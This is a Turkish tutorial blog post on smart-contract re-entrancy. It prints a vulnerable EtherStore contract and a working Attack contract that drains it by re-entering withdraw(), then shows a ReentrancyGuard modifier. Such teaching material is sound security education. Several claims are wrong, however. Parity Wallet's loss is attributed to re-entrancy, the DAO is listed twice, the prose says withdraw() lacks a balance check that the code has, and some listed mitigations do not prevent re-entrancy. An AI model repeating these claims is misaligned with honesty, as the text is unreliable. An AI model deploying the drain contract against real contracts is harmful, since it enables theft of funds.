🧵 100GündeSolidity 067 – Hacks : Re-Entrancy

Re-Entrancy Hakkında Bilmeniz Gerekenler

Re-Entrancy, akıllı sözleşmelerde sıkça görülen bir güvenlik açığıdır. Bu açık sayesinde, bir saldırgan sözleşme içindeki işlevleri kötüye kullanarak tekrar tekrar giriş yapabilir ve istismar edebilir. Bu nedenle, akıllı sözleşme geliştiricilerinin Re-Entrancy’ye karşı önlem almaları ve saldırıların önlenmesi için gereken adımları atmaları önemlidir. Bu yazıda, Re-Entrancy’nin ne olduğunu, nasıl gerçekleştirildiğini, nasıl korunulacağını ve gerçek hayatta uygulama örneklerini ele alacağız.

Re-Entrancy Nedir ve Nasıl Oluşur?

Re-Entrancy, bir akıllı sözleşmenin işlevleri arasında çağrıların tekrar tekrar yapılabildiği bir durumdur. Bu durum, bir işlevin tamamlanmadan önce başka bir işlevin çağrılması ile ortaya çıkar. Re-Entrancy açığı, sözleşmenin önceki işlev çağrısının tamamlanmasını beklemeksizin tekrar çağrılabilmesiyle saldırganın kontrolü ele geçirmesine neden olabilir.

Örneğin, bir akıllı sözleşmede fon transferi yapacak bir işlev olabilir. Bu işlev, fon transferi tamamlandıktan sonra, bir sonraki işlem için beklemek yerine tekrar çağrılabilir. Ancak, eğer sözleşmenin başka bir işlevi bu fon transferi işlemini çağırdıysa ve fon transferi henüz tamamlanmadıysa, saldırgan bu durumu istismar edebilir ve fonları tekrar tekrar çekerek sözleşmeyi bozabilir.

Re-Entrancy, sözleşmenin nasıl tasarlandığına ve işlevlerin birbirleriyle nasıl etkileşime girdiğine bağlıdır. İyi tasarlanmış bir akıllı sözleşme, Re-Entrancy açığından korunacak şekilde tasarlanmalıdır.

Re-Entrancy Saldırısı Nasıl Gerçekleştirilir?

Re-Entrancy saldırısı, bir akıllı sözleşmede mevcut olan bir Re-Entrancy açığından yararlanarak gerçekleştirilir. Saldırgan, sözleşme işlevlerini istismar etmek için Re-Entrancy açığını kullanır.

Saldırı genellikle şu adımlarla gerçekleştirilir:

1. Saldırgan, sözleşmenin içindeki bir işlevi çağırarak bir fon transferi gerçekleştirir.
2. Fon transferi henüz tamamlanmadan, saldırgan aynı işlevi tekrar çağırır ve fonları tekrar alır.
3. Bu işlem tekrar edilerek, saldırgan birçok fonu hızla toplayabilir.
4. Bu süreç, sözleşmenin fonları tükenene kadar devam edebilir ve sözleşmeyi çökertecek kadar büyük bir etki yaratabilir.

Re-Entrancy saldırısı, birçok akıllı sözlemede gerçekleştirilmiştir ve bu nedenle, sözleşme geliştiricilerinin bu açıktan korunmak için gereken önlemleri almaları önemlidir.

Re-Entrancy Saldırısından Nasıl Korunulur?

Re-Entrancy saldırısından korunmak için sözleşme geliştiricileri şu önlemleri alabilirler:

1. Fonların transfer edilmesi işlemi tamamlandıktan sonra, işlevin yeniden çağrılmasını engelleyin: Fon transferi işlemi tamamlandıktan sonra, işlevin yeniden çağrılması engellenebilir. Bu, sözleşmenin başka bir işlevi tarafından çağrılması halinde fon transferi işleminin tamamlanmasını beklemesini sağlayarak Re-Entrancy saldırısını önleyecektir.
2. Fonların transfer edilmesinden önce, alıcı adresinin onaylanması gerektiğinden emin olun: Alıcı adresinin onaylanması, yalnızca doğru adreslere fonların transfer edilmesini sağlayacak ve yanlış adreslere transferlerin önüne geçecektir. Bu da Re-Entrancy saldırılarını engelleyebilir.
3. İşlevler arasında güvenli bir şekilde iletişim sağlamak için mutex (mutual exclusion) kullanın: Mutex, akıllı sözleşmelerde işlevler arasındaki etkileşimi sınırlayan bir mekanizmadır. Bir işlev, mutex’i kullanarak diğer işlevlerin aynı anda çalışmasını önleyebilir ve böylece Re-Entrancy saldırılarının önüne geçebilir.
4. Fon transferleri için bir üst sınır belirleyin: Fon transferleri için bir üst sınır belirlemek, tek bir işlemde transfer edilebilecek maksimum tutarı sınırlayacaktır. Bu da Re-Entrancy saldırılarının etkisini sınırlayacak ve sözleşmenin çökmesini önleyebilir.

Sözleşme geliştiricileri, Re-Entrancy açığından korunmak için bu önlemleri kullanabilir ve böylece sözleşmenin güvenliğini artırabilirler.

Re-Entrancy Saldırısı Örnekleri ve Gerçek Hayat Uygulamaları

Re-Entrancy saldırıları, tarihte birçok akıllı sözleşmede gerçekleştirilmiştir. İşte bazı örnekler ve gerçek hayat uygulamaları:

1. The DAO: 2016 yılında, The DAO adlı bir akıllı sözleşme, Re-Entrancy saldırısı nedeniyle 50 milyon dolardan fazla kaybetti. Saldırgan, The DAO’nun fonlarını çalmak için Re-Entrancy açığını kullandı ve böylece sözleşmenin fonlarını kontrol altına aldı.
2. Parity Wallet: 2017 yılında, Parity Wallet adlı bir akıllı sözleşme, Re-Entrancy saldırısı nedeniyle 30 milyon dolardan fazla kaybetti. Saldırgan, Parity Wallet’in fonlarını kontrol altına almak için Re-Entrancy açığını kullandı.
3. King of the Ether: King of the Ether, Ethereum ağında bir oyun sözleşmesidir. Oyun, oyuncuların Ether ile bahis yapmalarına izin verir. Ancak, Re-Entrancy saldırısı nedeniyle oyuncuların bahislerini çalmak mümkündü.
4. Decentralized Autonomous Organization (DAO): DAO, Ethereum ağında çalışan bir fon toplama ve yönetim sözleşmesidir. Sözleşme, 2016 yılında Re-Entrancy saldırısı nedeniyle 50 milyon dolardan fazla kaybetti.

Bu örnekler, Re-Entrancy açığının gerçek hayatta ne kadar ciddi bir sorun olduğunu göstermektedir. Akıllı sözleşme geliştiricilerinin bu açığı önlemek için gerekli önlemleri almaları ve sözleşmelerini bu tür saldırılara karşı güvenli hale getirmeleri gerekmektedir.

Örnek Akıllı Sözleşme İncelemesi

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

/*
EtherStore is a contract where you can deposit and withdraw ETH.
This contract is vulnerable to re-entrancy attack.
Let's see why.

1. Deploy EtherStore
2. Deposit 1 Ether each from Account 1 (Alice) and Account 2 (Bob) into EtherStore
3. Deploy Attack with address of EtherStore
4. Call Attack.attack sending 1 ether (using Account 3 (Eve)).
   You will get 3 Ethers back (2 Ether stolen from Alice and Bob,
   plus 1 Ether sent from this contract).

What happened?
Attack was able to call EtherStore.withdraw multiple times before
EtherStore.withdraw finished executing.

Here is how the functions were called
- Attack.attack
- EtherStore.deposit
- EtherStore.withdraw
- Attack fallback (receives 1 Ether)
- EtherStore.withdraw
- Attack.fallback (receives 1 Ether)
- EtherStore.withdraw
- Attack fallback (receives 1 Ether)
*/

contract EtherStore {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

contract Attack {
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // Fallback is called when EtherStore sends Ether to this contract.
    fallback() external payable {
        if (address(etherStore).balance >= 1 ether) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        etherStore.deposit{value: 1 ether}();
        etherStore.withdraw();
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

Bu örnekteki EtherStore sözleşmesi, kullanıcılara ETH yatırma ve çekme işlemleri gerçekleştirmelerine olanak tanır. Ancak sözleşme, re-entrancy saldırısına açıktır. Saldırgan, Attack sözleşmesi aracılığıyla EtherStore sözleşmesini hedef alır ve ilk olarak 1 ETH yatırır. Daha sonra withdraw() fonksiyonunu çağırarak, fonksiyonun tamamlanmasını beklemeden tekrar tekrar withdraw() fonksiyonunu çağırır ve sözleşmedeki tüm ETH bakiyelerini çalar.

EtherStore sözleşmesi, deposit() fonksiyonuyla ETH kabul eder ve withdraw() fonksiyonuyla kullanıcıların bakiyelerini çeker. Ancak withdraw() fonksiyonu, fonksiyonu çağıran kullanıcının bakiyesini kontrol etmez ve herhangi bir kontrol mekanizması sağlamaz. Bu da, sözleşmede depolanan tüm ETH bakiyelerinin çalınabileceği bir re-entrancy saldırısına neden olur.

Attack sözleşmesi, EtherStore sözleşmesinin adresini alarak EtherStore sözleşmesini hedef alır. Attack sözleşmesi, fonksiyonu çağıran kullanıcının en az 1 ETH yatırmasını gerektirir. Daha sonra, Attack sözleşmesi, deposit() fonksiyonunu çağırarak 1 ETH yatırır ve daha sonra withdraw() fonksiyonunu çağırarak tekrar tekrar kendini çağırır. Bu, re-entrancy saldırısı gerçekleştirerek EtherStore sözleşmesindeki tüm ETH bakiyelerinin çalınmasına neden olur.

Bu örnek, re-entrancy saldırısının bir örneğini göstermektedir ve akıllı sözleşmelerde güvenlik açıklarının önemini vurgulamaktadır. Akıllı sözleşmeler, kullanıcıların fonlarını ve bilgilerini korumak için çok önemlidir ve herhangi bir güvenlik açığı, sözleşmenin tehlikeye girmesine neden olabilir. Güvenlik açıklarından kaçınmak için akıllı sözleşmelerin doğru bir şekilde test edilmesi ve gerektiğinde düzeltilmesi önemlidir.

Önleyici Teknikler İncelemesi

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

contract ReEntrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}

Yukarıdaki akıllı sözleşme, re-entrancy saldırılarını önlemek için bir teknik olan “noReentrant” fonksiyon modifikatörü kullanmaktadır. Bu modifikatör, sözleşmenin tekrar girişi olmadığından emin olmak için locked adlı bir boolean değişkeni kullanır.

Modifikatörün işleyişi şöyledir: İlk olarak locked değişkeni false olarak ayarlanır. Daha sonra, modifikatörü kullanan işlevin çağrıldığı sırada locked değişkeni true olarak ayarlanır. İşlevin tamamlanmasından sonra locked değişkeni tekrar false olarak ayarlanır.

Bu sayede, aynı akıllı sözleşme içindeki bir fonksiyonun tekrar girişi engellenmiş olur. Ancak bu teknik, akıllı sözleşmelerin çağrıldığı harici kontratlarla ilgili re-entrancy saldırılarını engelleyemez. Bunun için, harici kontratlarda çağrılan fonksiyonların uygun bir şekilde tasarlanması ve test edilmesi gerekmektedir.

Özetle, bu teknik, akıllı sözleşmelerdeki re-entrancy saldırılarını önlemek için bir araç olarak kullanılabilir, ancak tek başına yeterli değildir. Akıllı sözleşmelerin tasarımı ve uygulanması aşamasında, potansiyel güvenlik açıklarını öngörmek ve bunlara karşı önlemler almak çok önemlidir.

Sonuç Bağlamı

Re-entrancy saldırısı, akıllı sözleşmelerin güvenliğini tehdit eden ciddi bir zayıflık olarak karşımıza çıkıyor. Bu tür saldırıların önüne geçmek için, akıllı sözleşmelerde güvenlik açığı aramak ve düzeltmek önemlidir. Re-entrancy saldırısından korunmak için, akıllı sözleşmelerin gerekli işlevlerinin doğru bir şekilde tasarlanması ve test edilmesi gerekir. Ayrıca, akıllı sözleşmelerde önleyici teknikler kullanarak re-entrancy saldırılarının önlenmesi mümkündür. Bu teknikler arasında, tüm durum değişikliklerinin harici sözleşmelere çağrıdan önce gerçekleştirilmesi ve re-entrancy guard kullanımı yer almaktadır. Bu önlemler sayesinde, akıllı sözleşmelerin güvenliği ve işlevselliği artırılabilir.

Solidity Programlama Dili Öğrenme yolculuğunuz hakkında daha iyi rehberlik almak için Solidity nedir? Ethereum Akıllı Sözleşmelerinin Dili Rehberi içeriğimize göz atın. Dilerseniz Yeni Başlayanlar için Solidity – Akıllı Sözleşme Geliştirme Hızlandırılmış Kursuna katılın.

Çalışmaya nereden başlayacağım diyenler için Blockchain ​​Developer Olmak İçin Yol Haritası içeriğine de muhakkak bakın.

Gelin aklınızdaki soruları SUPERPEER sohbetinde cevaplayalım.

Bu makaleyi okuduğunuz için teşekkürler! Bana destek olmak isterseniz;

Beni Twitter, Linkedin ve YouTube‘da takip edin.

Kısa bir yorum bırakmayı UNUTMAYIN!